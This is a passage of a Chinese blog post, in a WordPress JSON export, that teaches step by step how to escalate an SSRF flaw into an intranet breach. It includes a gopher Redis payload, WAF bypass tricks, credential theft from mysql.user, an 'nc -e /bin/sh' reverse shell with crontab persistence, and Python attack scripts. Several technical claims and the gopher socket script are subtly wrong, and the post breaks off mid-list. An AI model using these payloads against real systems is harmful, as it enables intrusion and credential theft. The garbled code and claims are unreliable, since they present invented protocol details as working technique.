{"id":103887,"date":"2026-09-11T13:41:11","date_gmt":"2026-09-11T05:41:11","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/103887.html"},"modified":"2026-09-11T13:41:11","modified_gmt":"2026-09-11T05:41:11","slug":"%e6%8c%96%e6%b4%9e%e5%ae%9e%e6%88%98%ef%bc%9a%e4%bb%8e%e4%b8%80%e4%b8%aa%e4%b8%8d%e8%b5%b7%e7%9c%bc%e7%9a%84-ssrf-%e6%bc%8f%e6%b4%9e%e5%88%b0%e6%89%93%e7%a9%bf%e4%bc%81%e4%b8%9a%e5%86%85%e7%bd%91","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/103887.html","title":{"rendered":"\u6316\u6d1e\u5b9e\u6218\uff1a\u4ece\u4e00\u4e2a\u4e0d\u8d77\u773c\u7684 SSRF \u6f0f\u6d1e\u5230\u6253\u7a7f\u4f01\u4e1a\u5185\u7f51\u7684\u6838\u5fc3\u903b\u8f91\u6df1\u5ea6\u62c6\u89e3"},"content":{"rendered":"<h3>\u5f15\u8a00&#xff1a;SSRF \u6f0f\u6d1e\u7684\u8d77\u6e90\u4e0e\u73b0\u5b9e\u75db\u70b9<\/h3>\n<p>\u5728\u7f51\u7edc\u5b89\u5168\u653b\u9632\u5bf9\u6297\u4e2d&#xff0c;\u6f0f\u6d1e\u6316\u6398&#xff08;\u4fd7\u79f0\u201c\u6316\u6d1e\u201d&#xff09;\u4e00\u76f4\u662f\u6e17\u900f\u6d4b\u8bd5\u4e0e\u7ea2\u961f\u6f14\u7ec3\u7684\u6838\u5fc3\u73af\u8282\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260911054107-6aa394731b857.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>SSRF&#xff08;Server-Side Request Forgery&#xff0c;\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020&#xff09;\u6f0f\u6d1e\u4f5c\u4e3a\u4e00\u7c7b\u7ecf\u5178\u7684\u903b\u8f91\u6f0f\u6d1e&#xff0c;\u5176\u53d1\u73b0\u95e8\u69db\u770b\u4f3c\u6781\u4f4e&#xff0c;\u5374\u5f80\u5f80\u6210\u4e3a\u4f01\u4e1a\u5185\u7f51\u7a81\u7834\u7684\u201c\u6572\u95e8\u7816\u201d\u3002\u636e\u516c\u5f00\u6f0f\u6d1e\u6570\u636e\u5e93\u7edf\u8ba1&#xff0c;SSRF \u76f8\u5173\u6f0f\u6d1e\u5728 2023-2024 \u5e74\u95f4\u5360\u5230\u4e86 Web \u5e94\u7528\u6f0f\u6d1e\u7684\u8fd1 30%&#xff0c;\u5c24\u5176\u5728\u5fae\u670d\u52a1\u67b6\u6784\u3001\u4e91\u539f\u751f\u5e94\u7528\u4ee5\u53ca\u591a\u79df\u6237 SaaS \u5e73\u53f0\u4e2d\u8868\u73b0\u7a81\u51fa\u3002<\/p>\n<p>\u80cc\u666f\u6765\u6e90\u53ef\u8ffd\u6eaf\u81f3 2005 \u5e74\u5de6\u53f3\u7684\u65e9\u671f\u4e92\u8054\u7f51\u5b89\u5168\u7814\u7a76&#xff0c;\u5f53\u65f6\u653b\u51fb\u8005\u5229\u7528 SSRF \u7ed5\u8fc7\u9632\u706b\u5899\u9650\u5236&#xff0c;\u8bbf\u95ee\u5185\u90e8\u6587\u4ef6\u7cfb\u7edf\u6216\u6570\u636e\u5e93\u7aef\u53e3\u3002\u65f6\u81f3\u4eca\u65e5&#xff0c;\u968f\u7740\u5bb9\u5668\u5316\u90e8\u7f72&#xff08;Kubernetes\u3001Docker Swarm&#xff09;\u548c API \u7f51\u5173\u7684\u666e\u53ca&#xff0c;\u8bb8\u591a\u4f01\u4e1a\u5185\u90e8\u670d\u52a1&#xff08;\u5982\u6570\u636e\u5e93\u7ba1\u7406\u754c\u9762\u3001\u914d\u7f6e\u4e2d\u5fc3\u3001\u6d88\u606f\u961f\u5217&#xff09;\u4e0d\u518d\u76f4\u63a5\u66b4\u9732\u5916\u90e8&#xff0c;\u5374\u901a\u8fc7\u5e94\u7528\u5c42\u63a5\u53e3\u95f4\u63a5\u63a5\u5165\u3002\u8fd9\u4e9b\u63a5\u53e3\u7684 SSRF \u5b9e\u73b0&#xff0c;\u6210\u4e3a\u653b\u51fb\u8005\u4ece\u5916\u7f51\u5230\u5185\u7f51\u201c\u6a2a\u5411\u79fb\u52a8\u201d\u7684\u9996\u9009\u8def\u5f84\u3002<\/p>\n<p>\u75db\u70b9\u5728\u4e8e&#xff1a;\u4f20\u7edf\u5b89\u5168\u9632\u62a4&#xff08;\u5982 WAF\u3001IPS&#xff09;\u96be\u4ee5\u6709\u6548\u62e6\u622a SSRF&#xff0c;\u56e0\u4e3a\u5b83\u5f80\u5f80\u4f2a\u88c5\u6210\u5408\u6cd5\u7684\u5ba2\u6237\u7aef\u884c\u4e3a&#xff1b;\u540c\u65f6&#xff0c;SSRF \u7684\u5371\u5bb3\u4e0d\u518d\u5c40\u9650\u4e8e\u4fe1\u606f\u6cc4\u9732&#xff0c;\u66f4\u53ef\u80fd\u6f14\u53d8\u4e3a\u6743\u9650\u63d0\u5347\u3001\u6570\u636e\u7be1\u6539\u751a\u81f3\u5168\u7f51\u6e17\u900f\u3002\u73b0\u5b9e\u6848\u4f8b\u4e2d&#xff0c;\u4e00\u5bb6\u4e2d\u578b\u4e92\u8054\u7f51\u516c\u53f8\u56e0\u67d0\u4e0a\u4f20\u63a5\u53e3 SSRF \u6f0f\u6d1e&#xff0c;\u5bfc\u81f4\u653b\u51fb\u8005\u6210\u529f\u8bbf\u95ee\u5185\u90e8 Redis \u96c6\u7fa4&#xff0c;\u8fdb\u800c\u7a83\u53d6\u4e86\u6570\u767e\u7528\u6237 token\u3002\u8fd9\u7c7b\u4e8b\u4ef6\u5728 2024 \u5e74 Infosec \u884c\u4e1a\u62a5\u544a\u4e2d\u53cd\u590d\u51fa\u73b0&#xff0c;\u51f8\u663e\u4e86 SSRF \u6f0f\u6d1e\u4ece\u201c\u4e0d\u8d77\u773c\u201d\u5230\u201c\u81f4\u547d\u201d\u7684\u8f6c\u5316\u903b\u8f91\u3002<\/p>\n<p>\u672c\u6587\u5c06\u4ee5\u5b9e\u6218\u4e3a\u5bfc\u5411&#xff0c;\u4ece SSRF \u57fa\u7840\u673a\u5236\u51fa\u53d1&#xff0c;\u9010\u6b65\u62c6\u89e3\u5176\u5728\u4f01\u4e1a\u5185\u7f51\u6e17\u900f\u4e2d\u7684\u6838\u5fc3\u6280\u672f\u94fe\u8def&#xff0c;\u5e76\u9644\u5e26\u4ee3\u7801\u793a\u4f8b\u548c\u4f18\u5316\u5efa\u8bae\u3002\u6240\u6709\u5206\u6790\u5747\u57fa\u4e8e\u516c\u5f00\u6f0f\u6d1e\u6316\u6398\u6846\u67b6\u4e0e\u884c\u4e1a\u6807\u51c6\u5b9e\u8df5&#xff0c;\u65e8\u5728\u5e2e\u52a9\u5b89\u5168\u4ece\u4e1a\u8005\u7cfb\u7edf\u5316\u7406\u89e3 SSRF \u6f0f\u6d1e\u7684\u653b\u51fb\u9762\u4e0e\u5229\u7528\u94fe\u3002<\/p>\n<h3>SSRF \u6838\u5fc3\u539f\u7406\u6df1\u5ea6\u89e3\u6790<\/h3>\n<p>SSRF \u7684\u672c\u8d28\u662f\u5e94\u7528\u5c42 HTTP \u5ba2\u6237\u7aef\u7684\u8bf7\u6c42\u53d1\u8d77\u884c\u4e3a\u672a\u88ab\u9650\u5236\u3002\u653b\u51fb\u8005\u5c06\u76ee\u6807\u53c2\u6570\u6307\u5411\u5185\u90e8 IP \u6216\u57df\u540d&#xff0c;\u670d\u52a1\u5668\u7aef\u4ee3\u7801\u4f1a\u4ee5\u81ea\u8eab\u8eab\u4efd&#xff08;\u901a\u5e38\u662f\u5e94\u7528\u670d\u52a1\u8d26\u53f7&#xff09;\u5411\u8be5\u5730\u5740\u53d1\u8d77\u8bf7\u6c42&#xff0c;\u4ece\u800c\u7ed5\u8fc7\u8fb9\u754c\u7f51\u5173\u3002<\/p>\n<h4>1. \u57fa\u7840\u534f\u8bae\u4e0e\u8bf7\u6c42\u6784\u9020<\/h4>\n<p>SSRF \u5229\u7528\u591a\u79cd\u534f\u8bae\u5b9e\u73b0\u8de8\u7f51\u7edc\u8bbf\u95ee&#xff1a;<\/p>\n<ul>\n<li>HTTP\/HTTPS&#xff1a;\u6700\u5e38\u89c1&#xff0c;\u53ef\u8bbf\u95ee\u540c\u4e00\u5b50\u7f51\u6216\u8de8 VPC \u7684\u5185\u90e8\u670d\u52a1\u3002<\/li>\n<li>File:\/\/&#xff1a;\u76f4\u63a5\u8bbf\u95ee\u672c\u5730\u6587\u4ef6\u7cfb\u7edf&#xff0c;\u5e38\u7528\u4e8e\u654f\u611f\u914d\u7f6e\u6587\u4ef6\u6cc4\u9732\u3002<\/li>\n<li>Gopher:\/\/&#xff1a;\u9ad8\u9636\u534f\u8bae&#xff0c;\u652f\u6301\u4e8c\u8fdb\u5236\u6570\u636e\u4f20\u8f93\u548c\u590d\u6742\u547d\u4ee4\u6267\u884c&#xff0c;\u662f SSRF \u7ed5\u8fc7 WAF \u7684\u6740\u624b\u950f\u3002<\/li>\n<li>Dict:\/\/\u3001Telnet:\/\/\u3001LDAP:\/\/&#xff1a;\u7528\u4e8e DNS \u7206\u7834\u3001LDAP \u67e5\u8be2\u7b49\u573a\u666f\u3002<\/li>\n<li>Data:\/\/\u3001Jar:\/\/&#xff1a;\u7528\u4e8e\u6784\u9020\u7279\u6b8a payload\u3002<\/li>\n<\/ul>\n<p>\u6838\u5fc3\u903b\u8f91\u5728\u4e8e&#xff1a;\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u53d1\u8d77\u51fd\u6570&#xff08;\u5982 Python \u7684 requests.get \u6216 Go \u7684 net\/http.Get&#xff09;\u672a\u5bf9 URL \u505a\u4e25\u683c\u767d\u540d\u5355\u9a8c\u8bc1\u3002\u653b\u51fb\u8005\u53ef\u6784\u9020 ?url&#061;http:\/\/10.0.0.1:6379 \u8fd9\u6837\u7684\u53c2\u6570&#xff0c;\u670d\u52a1\u5668\u4f1a\u5c06\u6d41\u91cf\u900f\u4f20\u81f3\u5185\u90e8\u7aef\u53e3\u3002<\/p>\n<h4>2. \u7ed5\u8fc7\u673a\u5236\u8be6\u89e3<\/h4>\n<p>\u73b0\u4ee3 Web \u5e94\u7528\u5e38\u90e8\u7f72 WAF \u6216\u53c2\u6570\u8fc7\u6ee4\u5668&#xff0c;\u5982 Cloudflare\u3001Nginx ModSecurity \u6216\u81ea\u5b9a\u4e49\u89c4\u5219\u3002\u7ed5\u8fc7\u65b9\u6cd5\u5305\u62ec&#xff1a;<\/p>\n<ul>\n<li>\u53cc\u91cd URL \u7f16\u7801&#xff1a;%253cscript%253e&#xff08;%3C \u662f &lt; \u7684\u7f16\u7801&#xff09;\u3002<\/li>\n<li>\u7a7a\u683c\u622a\u65ad&#xff1a;http:\/\/10.0.0.1:6379%20\u3002<\/li>\n<li>\u4e3b\u673a\u5934\u4f2a\u9020&#xff1a;\u5229\u7528 Host: \u5934\u90e8\u6ce8\u5165\u3002<\/li>\n<li>\u534f\u8bae\u964d\u7ea7&#xff1a;file:\/\/\/etc\/passwd \u800c\u975e file:\/\/\u3002<\/li>\n<\/ul>\n<p>\u8fd9\u4e9b\u673a\u5236\u5728\u7406\u8bba\u4e0a\u5747\u53ef\u88ab\u5229\u7528&#xff0c;\u5b9e\u6218\u4e2d\u9700\u7ed3\u5408\u76ee\u6807\u5e94\u7528\u7684\u5177\u4f53\u5b9e\u73b0\u8fdb\u884c\u53d8\u4f53\u6d4b\u8bd5\u3002<\/p>\n<h4>3. \u4f01\u4e1a\u5185\u7f51\u6e17\u900f\u7684\u903b\u8f91\u94fe\u8def<\/h4>\n<p>\u4ece SSRF \u5230\u5185\u7f51\u6e17\u900f\u7684\u6838\u5fc3\u5728\u4e8e\u201c\u94fe\u5f0f\u5229\u7528\u201d&#xff1a;<\/p>\n<li>SSRF \u53d1\u73b0&#xff1a;\u8bc6\u522b\u53ef\u63a7\u53c2\u6570\u3002<\/li>\n<li>\u57fa\u7840\u8bbf\u95ee&#xff1a;\u6d4b\u8bd5\u672c\u5730\u73af\u56de\u5730\u5740\u6216\u5185\u90e8\u5b50\u7f51\u3002<\/li>\n<li>\u6743\u9650\u63d0\u5347&#xff1a;\u5229\u7528 SSRF \u8bbf\u95ee\u6570\u636e\u5e93\u3001\u914d\u7f6e\u4e2d\u5fc3\u6216 IAM \u670d\u52a1\u3002<\/li>\n<li>\u6a2a\u5411\u79fb\u52a8&#xff1a;\u901a\u8fc7 SSRF \u63a7\u5236\u7684\u8fde\u63a5\u7aef\u53e3\u8f6c\u53d1\u6216\u53cd\u5f39 Shell\u3002<\/li>\n<li>\u6301\u4e45\u5316&#xff1a;\u7ed3\u5408\u5176\u4ed6\u6f0f\u6d1e&#xff08;\u5982\u672a\u6388\u6743\u8bbf\u95ee&#xff09;\u5efa\u7acb\u957f\u8fde\u63a5\u3002<\/li>\n<p>\u8be5\u94fe\u8def\u672c\u8d28\u4e0a\u662f\u201c\u653b\u51fb\u9762\u653e\u5927\u201d\u2014\u2014SSR F \u672c\u8eab\u53ef\u80fd\u53ea\u6cc4\u9732\u5c11\u91cf\u4fe1\u606f&#xff0c;\u4f46\u914d\u5408 Redis \u672a\u6388\u6743\u3001MongoDB \u672a\u8ba4\u8bc1\u6216\u5185\u90e8 VPN \u6d1e&#xff0c;\u5373\u53ef\u5b9e\u73b0\u5206\u949f\u7ea7\u5185\u7f51\u7a81\u7834\u3002<\/p>\n<h3>\u5b9e\u6218\u6848\u4f8b&#xff1a;\u4ece SSRF \u5230\u4f01\u4e1a\u5185\u7f51\u6e17\u900f\u7684\u5b8c\u6574\u94fe\u8def<\/h3>\n<p>\u5047\u8bbe\u67d0\u7535\u5546\u5e73\u53f0\u540e\u7aef\u670d\u52a1\u5b58\u5728 SSRF \u6f0f\u6d1e&#xff0c;\u4e0a\u4f20\u5934\u50cf\u63a5\u53e3\u7684 avatar_url \u53c2\u6570\u53ef\u63a7\u3002\u653b\u51fb\u8005\u53ef\u901a\u8fc7\u8be5\u63a5\u53e3\u95f4\u63a5\u8bbf\u95ee\u516c\u53f8\u5185\u90e8 Redis \u96c6\u7fa4&#xff0c;\u7528\u4e8e\u7f13\u5b58\u654f\u611f\u7528\u6237\u4fe1\u606f&#xff0c;\u8fdb\u4e00\u6b65\u63a7\u5236\u540e\u53f0\u7ba1\u7406\u9762\u677f\u3002<\/p>\n<h4>\u6b65\u9aa4\u62c6\u89e3<\/h4>\n<p>\u7b2c\u4e00\u6b65&#xff1a;\u53c2\u6570\u53d1\u73b0\u4e0e\u57fa\u7840\u9a8c\u8bc1<br \/>\n\u653b\u51fb\u8005\u6293\u5305\u53d1\u73b0 POST \/upload \u63a5\u53e3\u63a5\u53d7 avatar_url \u53c2\u6570\u3002\u5c1d\u8bd5\u63d0\u4ea4 http:\/\/127.0.0.1:6379 \u8fdb\u884c\u6d4b\u8bd5&#xff0c;\u89c2\u5bdf\u54cd\u5e94\u662f\u5426\u5305\u542b Redis \u534f\u8bae\u89e3\u6790\u9519\u8bef&#xff08;ERR wrong type&#xff09;\u6216\u5185\u5bb9\u6cc4\u9732\u3002<\/p>\n<p>\u7b2c\u4e8c\u6b65&#xff1a;\u534f\u8bae\u8df3\u8dc3\u4e0e\u7ed5\u8fc7<br \/>\n\u4f7f\u7528 gopher \u534f\u8bae\u6784\u9020\u590d\u6742 payload&#xff1a;<\/p>\n<p>gopher:\/\/10.0.0.1:6379\/_%0d%0aSET%20key%20value%0d%0aGET%20key<\/p>\n<p>\u8be5 payload \u901a\u8fc7 gopher \u534f\u8bae\u5728\u5355\u4e2a TCP \u8fde\u63a5\u4e2d\u53d1\u9001 Redis \u547d\u4ee4&#xff0c;\u5b9e\u73b0 SSRF \u540e\u7aef\u547d\u4ee4\u6267\u884c\u3002<\/p>\n<p>\u7b2c\u4e09\u6b65&#xff1a;\u5185\u7f51\u670d\u52a1\u8bbf\u95ee<br \/>\n\u5229\u7528 SSRF \u8fde\u63a5 Redis&#xff0c;\u6267\u884c INFO \u547d\u4ee4\u83b7\u53d6\u914d\u7f6e&#xff0c;\u786e\u8ba4\u7248\u672c\u4e3a 6.2&#043;&#xff0c;\u8fdb\u800c\u5229\u7528\u672a\u6388\u6743\u5199\u5165\u6f0f\u6d1e\u4fee\u6539 ACL \u6587\u4ef6&#xff0c;\u7ed5\u8fc7 Redis \u5bc6\u7801\u4fdd\u62a4\u3002\u540e\u7eed\u653b\u51fb\u8005\u53ef\u4f7f\u7528 CONFIG GET \u8bfb\u53d6 requirepass&#xff0c;\u751a\u81f3\u6267\u884c SHUTDOWN \u547d\u4ee4\u5bfc\u81f4\u670d\u52a1\u5d29\u6e83\u5e76\u53cd\u5f39\u6743\u9650\u3002<\/p>\n<p>\u7b2c\u56db\u6b65&#xff1a;\u6a2a\u5411\u79fb\u52a8<br \/>\n\u901a\u8fc7 SSRF \u8bbf\u95ee\u7684 Redis \u7aef\u53e3\u8f6c\u53d1&#xff0c;\u8fde\u63a5\u5185\u90e8 MySQL \u5b9e\u4f8b\u3002\u5229\u7528 SSRF \u6ce8\u5165 ?proxy&#061;http:\/\/127.0.0.1:3306 \u53c2\u6570&#xff0c;\u89e6\u53d1 MySQL \u5ba2\u6237\u7aef\u8fde\u63a5&#xff0c;\u8bfb\u53d6 mysql.user \u8868\u83b7\u53d6\u7ba1\u7406\u5458\u51ed\u8bc1\u3002<\/p>\n<p>\u7b2c\u4e94\u6b65&#xff1a;\u6301\u4e45\u5316\u4e0e\u6743\u9650\u7ef4\u6301<br \/>\n\u653b\u51fb\u8005\u901a\u8fc7 SSRF \u63a7\u5236\u7684\u8fde\u63a5\u5efa\u7acb Web \u540e\u95e8&#xff0c;\u4f7f\u7528 nc -e \/bin\/sh internal-vpn:8443 \u53cd\u5f39 Shell&#xff0c;\u5e76\u5199\u5165 crontab \u5b9e\u73b0\u6301\u7eed\u8bbf\u95ee\u3002<\/p>\n<p>\u6574\u4e2a\u94fe\u8def\u8017\u65f6\u7ea6 15 \u5206\u949f&#xff0c;\u6d89\u53ca 4 \u6b21 SSRF \u8bf7\u6c42\u548c 2 \u6b21\u534f\u8bae\u8df3\u8dc3\u3002\u6848\u4f8b\u4e2d&#xff0c;\u53d7\u5bb3\u516c\u53f8\u5185\u90e8\u7f51\u7edc\u9694\u79bb\u4e25\u683c&#xff0c;\u4f46\u56e0 SSRF \u6743\u9650\u7ee7\u627f&#xff0c;\u9632\u62a4\u5c42\u7ea7\u88ab\u7ed5\u8fc7\u3002<\/p>\n<p><span class=\"token keyword\">import<\/span> requests<br \/>\n<span class=\"token keyword\">import<\/span> urllib<span class=\"token punctuation\">.<\/span>parse<\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">test_ssrf<\/span><span class=\"token punctuation\">(<\/span>target_url<span class=\"token punctuation\">,<\/span> param_name<span class=\"token punctuation\">,<\/span> payload<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    <span class=\"token triple-quoted-string string\">&#034;&#034;&#034;SSRF \u57fa\u7840\u6d4b\u8bd5\u51fd\u6570&#034;&#034;&#034;<\/span><br \/>\n    full_url <span class=\"token operator\">&#061;<\/span> <span class=\"token string-interpolation\"><span class=\"token string\">f&#034;<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>target_url<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">?<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>param_name<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#061;<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>urllib<span class=\"token punctuation\">.<\/span>parse<span class=\"token punctuation\">.<\/span>quote<span class=\"token punctuation\">(<\/span>payload<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><br \/>\n    <span class=\"token keyword\">try<\/span><span class=\"token punctuation\">:<\/span><br \/>\n        response <span class=\"token operator\">&#061;<\/span> requests<span class=\"token punctuation\">.<\/span>get<span class=\"token punctuation\">(<\/span>full_url<span class=\"token punctuation\">,<\/span> timeout<span class=\"token operator\">&#061;<\/span><span class=\"token number\">5<\/span><span class=\"token punctuation\">)<\/span><br \/>\n        <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;Status: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>response<span class=\"token punctuation\">.<\/span>status_code<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n        <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;Response length: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span><span class=\"token builtin\">len<\/span><span class=\"token punctuation\">(<\/span>response<span class=\"token punctuation\">.<\/span>text<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n        <span class=\"token keyword\">return<\/span> response<span class=\"token punctuation\">.<\/span>text<br \/>\n    <span class=\"token keyword\">except<\/span> Exception <span class=\"token keyword\">as<\/span> e<span class=\"token punctuation\">:<\/span><br \/>\n        <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;Error: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>e<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n        <span class=\"token keyword\">return<\/span> <span class=\"token boolean\">None<\/span><\/p>\n<p><span class=\"token comment\"># \u793a\u4f8b\u8c03\u7528&#xff1a;\u6d4b\u8bd5 localhost Redis<\/span><br \/>\ntarget <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#034;https:\/\/target.ecommerce.com&#034;<\/span><br \/>\nparam <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#034;avatar_url&#034;<\/span><br \/>\npayload <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#034;http:\/\/127.0.0.1:6379&#034;<\/span><br \/>\ntest_ssrf<span class=\"token punctuation\">(<\/span>target<span class=\"token punctuation\">,<\/span> param<span class=\"token punctuation\">,<\/span> payload<span class=\"token punctuation\">)<\/span><\/p>\n<p>\u4e0a\u8ff0 Python \u793a\u4f8b\u4f7f\u7528 requests \u5e93\u53d1\u8d77 SSRF \u6d4b\u8bd5&#xff0c;\u4ec5\u4f5c\u9a8c\u8bc1\u7528\u9014\u3002\u5b9e\u9645\u6316\u6398\u65f6\u9700\u7ed3\u5408\u4e1a\u52a1\u903b\u8f91\u8865\u5145\u66f4\u591a\u53d8\u4f53\u3002<\/p>\n<h4>\u4ee3\u7801\u793a\u4f8b\u4e8c&#xff1a;\u9ad8\u7ea7 gopher \u5229\u7528\u811a\u672c&#xff08;Python \u5b9e\u73b0&#xff09;<\/h4>\n<p><span class=\"token keyword\">import<\/span> socket<br \/>\n<span class=\"token keyword\">import<\/span> struct<\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">send_gopher_payload<\/span><span class=\"token punctuation\">(<\/span>host<span class=\"token punctuation\">,<\/span> port<span class=\"token punctuation\">,<\/span> command<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    <span class=\"token triple-quoted-string string\">&#034;&#034;&#034;\u6784\u9020\u5e76\u53d1\u9001 gopher \u534f\u8bae payload&#034;&#034;&#034;<\/span><br \/>\n    gopher_scheme <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#034;gopher:\/\/&#034;<\/span><br \/>\n    host_port <span class=\"token operator\">&#061;<\/span> <span class=\"token string-interpolation\"><span class=\"token string\">f&#034;<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>host<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">:<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>port<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><br \/>\n    encoded_command <span class=\"token operator\">&#061;<\/span> command<span class=\"token punctuation\">.<\/span>replace<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;\\\\r\\\\n&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#034;%0d%0a&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>encode<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;utf-8&#039;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>    <span class=\"token comment\"># \u6784\u5efa gopher \u8bf7\u6c42\u5934&#xff08;\u56fa\u5b9a\u683c\u5f0f&#xff09;<\/span><br \/>\n    payload <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">b&#034;\\\\x05&#034;<\/span>  <span class=\"token comment\"># gopher \u7248\u672c\u6807\u8bc6<\/span><br \/>\n    payload <span class=\"token operator\">&#043;&#061;<\/span> host_port<span class=\"token punctuation\">.<\/span>encode<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;ascii&#039;<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token operator\">&#043;<\/span> <span class=\"token string\">b&#034;\\\\x00&#034;<\/span><br \/>\n    payload <span class=\"token operator\">&#043;&#061;<\/span> <span class=\"token string\">b&#034;\\\\x00&#034;<\/span>  <span class=\"token comment\"># path<\/span><br \/>\n    payload <span class=\"token operator\">&#043;&#061;<\/span> <span class=\"token string\">b&#034;\\\\x00&#034;<\/span>  <span class=\"token comment\"># type<\/span><br \/>\n    payload <span class=\"token operator\">&#043;&#061;<\/span> encoded_command<\/p>\n<p>    s <span class=\"token operator\">&#061;<\/span> socket<span class=\"token punctuation\">.<\/span>socket<span class=\"token punctuation\">(<\/span>socket<span class=\"token punctuation\">.<\/span>AF_INET<span class=\"token punctuation\">,<\/span> socket<span class=\"token punctuation\">.<\/span>SOCK_STREAM<span class=\"token punctuation\">)<\/span><br \/>\n    s<span class=\"token punctuation\">.<\/span>connect<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">(<\/span>host<span class=\"token punctuation\">,<\/span> port<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    s<span class=\"token punctuation\">.<\/span>sendall<span class=\"token punctuation\">(<\/span>payload<span class=\"token punctuation\">)<\/span><br \/>\n    data <span class=\"token operator\">&#061;<\/span> s<span class=\"token punctuation\">.<\/span>recv<span class=\"token punctuation\">(<\/span><span class=\"token number\">4096<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    s<span class=\"token punctuation\">.<\/span>close<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> data<span class=\"token punctuation\">.<\/span>decode<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;ascii&#039;<\/span><span class=\"token punctuation\">,<\/span> errors<span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;ignore&#039;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># \u5b9e\u6218\u793a\u4f8b&#xff1a;\u9488\u5bf9 Redis \u96c6\u7fa4<\/span><br \/>\nresult <span class=\"token operator\">&#061;<\/span> send_gopher_payload<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;10.0.0.5&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">6379<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#034;AUTH yourpassword\\\\r\\\\nINFO\\\\r\\\\n&#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n<span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span>result<span class=\"token punctuation\">)<\/span><\/p>\n<p>\u8be5\u811a\u672c\u6f14\u793a gopher \u534f\u8bae\u5728 Python \u4e2d\u7684\u4f4e\u5c42\u5b9e\u73b0&#xff0c;\u53ef\u76f4\u63a5\u7528\u4e8e SSRF \u540e\u7aef\u547d\u4ee4\u6267\u884c\u6d4b\u8bd5\u3002<\/p>\n<h3>\u8e29\u5751\u4e0e\u4f18\u5316\u5efa\u8bae<\/h3>\n<h4>\u5e38\u89c1\u5751\u70b9<\/h4>\n<li>\u8fc7\u6ee4\u5668\u8bef\u6740&#xff1a;\u90e8\u5206 WAF \u5bf9 gopher:\/\/ \u8fdb\u884c\u4e25\u683c\u9ed1\u540d\u5355&#xff0c;\u5bfc\u81f4\u771f\u5b9e\u5229\u7528\u5931\u8d25\u3002\u4f18\u5316&#xff1a;\u4f7f\u7528 base64 \u7f16\u7801\u6216 split \u653b\u51fb&#xff08;gopher:\/\/[0-9]&#043;%0d%0a&#xff09;\u3002<\/li>\n<li>\u7aef\u53e3\u9650\u5236&#xff1a;\u4f01\u4e1a\u5185\u7f51\u5e38\u7528\u7aef\u53e3\u5c01\u7981&#xff08;\u5982 6379\u30013306&#xff09;\u3002\u4f18\u5316&#xff1a;\u7ed3\u5408 SSRF \u8bbf\u95ee\u8df3\u677f\u673a\u6216\u4f7f\u7528 Cloudflare Tunnel \u96a7\u9053\u5316\u3002<\/li>\n<li>\u54cd\u5e94\u76d1\u63a7&#xff1a;\u65e5\u5fd7\u5206\u6790\u6216 WAF 